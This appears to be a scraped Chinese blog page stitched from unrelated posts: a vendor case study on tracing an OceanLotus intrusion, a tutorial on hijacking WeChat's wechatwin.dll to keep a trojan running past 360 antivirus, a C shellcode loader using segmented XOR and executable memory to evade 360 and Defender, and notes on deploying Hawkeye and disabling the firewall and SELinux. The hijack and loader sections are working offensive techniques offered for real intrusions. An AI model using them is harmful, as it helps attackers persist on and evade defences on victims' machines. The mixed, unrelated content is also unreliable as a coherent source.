隋唐之时，

四明山下，

瓦岗群雄轮番上阵，对隋唐第二勇士宇文成都发起了“车轮战”。

虽然单打独斗都不是宇文成都的对手，但在长时间的消耗战下，宇文成都体力不支，败给了排名第三的裴元庆。

在网络安全领域，也有一个长期令安全人员感到难缠的对手，它就是APT攻击（高级可持续威胁攻击）。

持续时间长、隐蔽性强、攻击手段复杂、破化力大……依赖单一的网络安全产品或手段，很难将APT攻击一招降伏，于是，“车轮战”显现出了威力。

1.jpg

第一回合 安全运营发现APT入侵“足迹”

2019年5月，一封邮件引起了企业A的警觉。

为了达到一些不可告人的秘密，黑客组织向企业A的员工（目标1主机的用户）邮箱投递鱼叉邮件。

鱼叉邮件往往是APT渗透的“尖兵”。

出于安全性的顾虑，该员工并未打开不明来源邮件附件，所幸“逃过一劫。”经过QAX威胁情报高对抗云沙箱（文件深度分析平台）分析后发现，该附件携带了APT组织海莲花所使用的特种木马。

尽管没有中招，但这封鱼叉邮件还是引起了企业A的警觉，于是该企业针对性部署了QAX态势感知与安全运营平台（简称NGSOC），并由QAX提供常态化安全运营服务。

QAX安全运营服务人员在日常告警排查过程中，发现企业A的NGSOC疑似检测到APT攻击。对此，QAX迅速启动了应急响应机制，为客户提供失陷区域排查以及攻击溯源服务。

由于告警发生时间较早，溯源分析面临较大的困难。但没过多久，QAX安全运营服务人员再次发现NGSOC平台产生APT攻击告警。在取得企业A同意后，QAX迅速派出一线安全运营服务团队进驻客户现场，开始了查杀APT的“车轮战”。

第二回合 威胁情报检测让海莲花组织显形

由于APT攻击往往十分隐蔽，并且早在2019年5月份就出现了APT攻击的痕迹，此次告警很可能并不是APT攻击的开端，因此应急响应人员决定从历史日志入手，对近一年的终端日志进行溯源分析，希望能够从中发现APT组织留下的蛛丝马迹。

2.jpg

不出意料，安服人员通过NGSOC有了重大发现！

通过日志溯源分析发现，早在2019年10月，内网终端目标2访问过疑似黑客组织所使用的C2（Command & Control，命令与控制）服务器，并成功登录业务服务主机目标3。威胁情报显示，该C2服务器域名和IP地址均带有海莲花组织标签。

据此，安服人员得出了两个结论：

第一，发动此次攻击的APT组织应该是海莲花组织；

第二，海莲花组织最先入侵了目标2，并以此为跳板，控制了目标3。

但由于目标3主机并没有连接互联网，因此海莲花组织无法直接操控目标3或者将窃取的信息直接回传至自己的C2服务器上。因此，海莲花组织极有可能利用目标2作为中转站，开展远程操作以及信息窃密工作。

果不其然，安服人员在目标2的主机日志中发现，海莲花组织开启了目标2主机的数据包转发功能，能够操控目标3并将从目标3窃取的信息转发到自己的服务器上。

3.jpg

此时，“车轮战”的第二个上场选手——威胁情报，圆满完成任务。

第三回合 NGSOC流量回溯完成APT扩散“流调”

为了详细还原海莲花组织在控制目标3后，到底做了什么事情，现场安服团队决定进行流量回溯，确定目标3经由目标2与黑客组织的信息回传情况以及目标3针对其他终端的访问和扩散传播情况。

这次排查很快就有了眉目。

经过NGSOC平台流量回溯后发现，在海莲花组织控制目标3后的大约半个小时左右，发起了一个内网网段的扫描探测，以及一个网段的MySQL扫描攻击。此举的主要目的是以目标3为跳板，再找出内网其它存在漏洞（包括开放了高危端口）的终端和数据库，实现内网的横向扩散。

显然，海莲花组织并没有满足于控制两台终端，它们希望控制更多内网终端和服务器，以获取更多有价值的敏感信息。

恰在此时，现场安服人员从NGSOC告警信息中获取了两条重要线索：

2019年12月开始，终端目标4和终端目标5曾频繁访问海莲花组织C2服务器，数量和频率都远超过目标2和目标3两台失陷终端。因此，安服团队随即针对目标4和目标5开展重点排查。

4.jpg

图 目标5相关告警

登录日志显示，目标3曾登录过目标4，目标4则登录了目标5，因此安服团队得出了一条海莲花组织在内网的扩散路线：

海莲花组织在通过鱼叉邮件感染目标1无果后，绕过了之前部署的某厂商边界防护手段，入侵了目标2并以该终端为跳板，依次向目标3、目标4和目标5横向扩散。

5.jpg

由于目标5是该机构开发重要系统的主机，能够频繁访问公司敏感系统和代码服务器，能够获取大量敏感信息。 最终目标5在被海莲花组织控制之后，成为了其获取重要系统敏感信息的重要“据点”。

在此番较量中，NGSOC平台的流量回溯，为还原APT攻击的“入侵路径”，立下了汗马功劳。

第四回合 文件深度分析解密攻击手法

接下来最重要的就是从这四台失陷终端中，找到木马文件并展开深度分析，通过木马文件的功能判断海莲花组织的攻击意图和恶意行为。

由于目标5的特殊性，安服团队决定把终端5作为切入点，重点开展排查。

但令人稍感意外的是，在作为海莲花组织重要据点的目标5上，并没有发现木马文件。

日志分析显示，或许是出于隐蔽性的考虑，海莲花植入的木马文件已被远程命令删除，同时木马运行的相关日志也被一并删除。

不过，这样的场景，他们已经经历过太多次。考虑到目标4频繁与海莲花组织进行远程通信，安服团队猜测，海莲花组织应该是以目标4作为跳板，窃取来自目标5的敏感信息，因此他们立即把重点放在了目标3和目标4上，果然收获颇丰。

在对目标3主机重点排查时，安服团队发现了3个木马文件，编号为木马1、木马2和木马3。QAX文件深度分析平台（威胁情报中心云沙箱）分析显示，这三个木马文件均具有OceanLotus（海莲花）标签，即被标记为海莲花组织使用的特种木马。

其中，木马1的主要功能便是让目标3与目标2进行通信，以便海莲花组织对目标3进行远程控制；木马2和木马3的主要功能都是窃密。

6.jpg

图 云沙箱分析结果

在对目标4主机进行排查时，安服团队在某个文件目录下发现了恶意木马4。为了实现该木马的持久化利用，不被杀毒软件查杀，海莲花组织将木马4与某个合法应用进行了捆绑加载和运行，这也就是业界常说的“白利用”方式。

QAX文件深度分析平台 分析显示，木马4在运行后，便会访问office.xxx.org域名实现远程控制电脑。与威胁情报中心比对显示，木马4与其访问的域名均带有海莲花组织的标签。

至此，海莲花的攻击行为被彻底揭穿和中止。

案例总结

7.jpg

图 海莲花组织攻击全景图

早在2019年11月，企业A在NGSOC平台上发现相关APT告警，但一直未能获取木马样本，难以实现精确查杀。

没过多久， NGSOC再次检测到大量APT告警攻击，QAX应急响应专家迅速抵达客户现场，通过企业A现有环境，协同QAX安全运营专家、安全能力中心威胁情报专家、QAX红雨滴团队等最终确定该企业A遭受海莲花（OceanLotus)又称APT-32、APT-C-00，APT组织攻击。

通过溯源分析，本次海莲花组织攻击集中爆发于2019年10月，攻击者利用目标2、目标3和目标4，等设备作为跳板机对客户内网机器进行渗透、收集敏感信息最终获取重要系统权限，造成数据被窃取。

在这次针对海莲花组织APT攻击的追踪和围剿中，NGSOC、安全运营、威胁情报、文件深度分析平台（威胁情报中心云沙箱）等等诸多武器，都先后派上了用场，加上经验丰富的QAX安全专家，以及强大的数据分析能力，最终再次挫败了一次隐秘性极高的海莲花攻击活动。

这也应了一句老话，“一个好汉三个帮”，只有协同联动，将人、数据、工具和流程有机结合到一起，常态化持续运营，才能构建出“以我为主”的积极防御体系。

以wechatwin.dll为例子
使用aheadlib.exe即可快速生成dll源码 方便劫持

1.jpg

劫持微信dll使木马bypass360重启上线维持权限
软件的本质是通过读取导出的函数名和内联汇编代码来 “转发” DLL.
下载地址:https://bbs.pediy.com/thread-224408.htm
如果在加载 DLL 时出错就说明位数有问题, 需要运行 x64 的 AHeadLib.
当前者为 “直接转发函数” 时, 则直接转发整个 DLL, 代码中仅有 DllMain. 如果选择 “即时调用函数”, 就会细分至 DLL 的每一个函数, 在调用不同函数时依次进行转发. 例如在接受文档时触发 Payload, 或是在程序崩溃时触发 Payload, 高度自定义, 没有需要的话默认即可.
“原始 DLL 名” 指的是被劫持 DLL 修改后的名称. 工具只是帮你把指定函数转发到对应的 DLL 上, 并不是直接反编译出内容, 所以需要通过恶意 DLL 来调用被劫持 DLL 的相关函数, 如果勾选 “系统路径” 则说明被劫持的 DLL 为系统 DLL.

2.jpg

生成后在 Visual Studio 新建动态链接库项目, 然后在 dllmain 中粘贴代码.
在入口函数中加入启动进程的代码.

STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);

选择对应位数编译 (如果是 64 位的 DLL 需要在项目中添加之前生成的.obj 文件).
复制 DLL, 并修改被劫持 DLL 的名称为之前指定的 “原始 DLL 名”.

3.jpg

这里我想用这个加启动项看看能不能过360 结果算了，，360NB
启动微信 弹出CMD

4.jpg

以传统远控为例
木马将自身复制到F盘
然后在劫持的DLL的入口函数加入启动代码

5.jpg

6.jpg

启动微信 叮~新的主机上线
如果微信在启动项里面的话 那么就能达到傀儡机重启木马也能上线的目的

7.jpg

劫持微信dll使木马bypass360重启上线维持权限已经实际测试过了 360不会拦截 只要木马静态免杀就可以了.
在实际渗透过程中 也算是一种维权的思路吧.

首先说个题外话。。。

测试的时候发现，360放在虚拟机里哪怕给他连上了网。。。简单用异或加密下的 shellcode 能正常上线，最主要的是。。跑mimikatz 360居然动都不动
但是一旦放到物理机上，刚下下来 马子 就马上被杀。

这就有点奇葩。。。猜360检测了虚拟机环境。。。

回到正题

现在的杀软对于普通的一次异或加密shellcode 都基本能静态秒杀。于是乎产生了一些想法：

shellcode 在 loader 里是经过异或加密的。难道说杀软遍历 1 - 255 去依次异或解密吗？有点不现实

那既然直接爆破破解 异或值 不太现实，那杀软凭什么能静态秒杀呢？沙盒吗？

结果测试的时候发现，单单在 loader 中放一个 一次异或加密的shellcode 也会被杀。

那就很明显了，一次异或加密的 shellcode 也许还有一些特征值，有规律，被杀软检测到了

那我们将 shellcode 分段加密，把规律打破，是不是自然就能过杀软了呢？

下面上代码：

首先需要在本地把 shellcode 加密下。。自动加密的脚本。。之后有空再写吧哈哈

 //未加密 shellcode 版。自己调试然后拿加密后的 shellcode 以及 xorData
 #include <Windows.h>

 int main() {
 /* length: 926 bytes */
 unsigned char source_shellcode[] = "SHELLCODE";
 unsigned char encode_shellcode[926] = { 0 };

 //XOR分段数,固定长度 926 / 2 = 463
 int xorNum = 463;
 //保存每次分段 XOR 的值
 int xorData[463] = { 0 };
 int source_shellcode_length = sizeof(source_shellcode);
 char decode;
 int k = 0;

 //分段XOR
 srand((unsigned int)time(NULL));
 for (int i = 0; i < xorNum; i++)
 {
 // 不能太大，也不能是 0
 xorData[i] = rand() % 200 + 10;
 //每2个一分组
 for (int j = 0; j < 2; j++) {
 encode_shellcode[k] = source_shellcode[k] ^ xorData[i];
 k++;
 }
 }
 getchar();
 return 0;
 }

记得改下shellcode长度

1.png

打个断点，用调试器拿加密过的 shellcode 和 xordata:记得勾下 十六进制显示，将之复制出来

2.png

复制出来后到 sublime 中进行修改（sublime真好用）

3.png

别忘了还有个 xordata，如法炮制即可。

获取到 加密的 shellcode 和 xordata之后，将其放入到下面代码 中

ps：这些变量这么命名，可能有些杀软会检测下符号表，实战的时候最好改下变量名

#include <Windows.h>

int main() {

/* length: 926 bytes */

//没做那么智能化，加密的shellcode 和 XORdata 就在上一个代码中自己用调试器调然后拷贝出来把

unsigned char encode_shellcode[926] = "SHELLCODE";

//XOR分段数,固定长度 926 / 2 = 463

int xorNum = 463;

//保存每次分段 XOR 的值

int xorData[463] = { 0xXX,0xXX,0xXX…… };

char decode;

int k = 0;

char* Memory;

//故意开内存只开1，实际上后面偏移的时候还是能插进去的，可能能过下杀软

Memory = VirtualAlloc(NULL, 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

for (int i = 0; i < 926; i++) {

Memory[i] = encode_shellcode[i];

}

//XOR分段解码。直接在内存中异或，防止 shellcode 泄露。也许能过下杀软吧

//每两个一分组

for (int i = 0; i < xorNum; i++)

{

for (int j = 0; j < 2; j++) {

decode = encode_shellcode[k] ^ xorData[i];

Memory[k] = decode;

k++;

}

}

((void(*)())Memory)();

return 0;
}

可正常上线

6.png

8.png

虚拟机360跑起来：

10.png

11.png

最后：

实测物理机过了360、defender。

https://github.com/0xbug/Hawkeye

Docker方式部署Github监控系统Hawkeye

Mongodb4.0配置用户名密码认证登录

通过ip及端口方式连接mongo
mongo ip:27017

systemctl start docker #启动docker
systemctl enable docker #开机启动docker
systemctl status docker #查看docker状态

systemctl stop firewalld.service 可以关闭运行的防火墙
systemctl disable firewalld.service 即可永久禁止防火墙服务，下次重启也不会开启

vi /etc/selinux/config
将SELINUX=enforcing改为SELINUX=disabled
设置后需要重启才能生效

  1. 1
  2. 2
  3. 3
  4. 4
  5. ...
  6. 46